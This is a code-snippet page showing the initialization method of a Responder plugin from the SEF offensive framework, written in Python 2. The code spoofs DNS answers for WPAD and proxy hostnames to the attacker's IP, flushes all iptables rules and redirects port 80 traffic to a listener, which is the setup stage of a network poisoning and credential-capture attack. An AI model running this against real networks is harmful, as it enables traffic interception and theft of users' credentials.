Responder.py 文件源码

python
阅读 28 收藏 0 点赞 0 评论 0

项目:SEF 作者: ahmadnourallah 项目源码 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options = options
        self.interface = options.interface

        if os.geteuid() != 0:
            sys.exit("[-] Responder plugin requires root privileges")

        try:
            config = options.configfile['Responder']
        except Exception, e:
            sys.exit('[-] Error parsing config for Responder: ' + str(e))

        try:
            self.ip_address = get_if_addr(options.interface)
            if self.ip_address == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % self.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        print "[*] Responder plugin online"
        DnsCache.getInstance().setCustomAddress(self.ip_address)

        for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']:
            DnsCache.getInstance().setCustomRes(name, self.ip_address)

        if '--spoof' not in sys.argv:
            print '[*] Setting up iptables'
            os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
            os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen)

        t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config))
        t.setDaemon(True)
        t.start()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号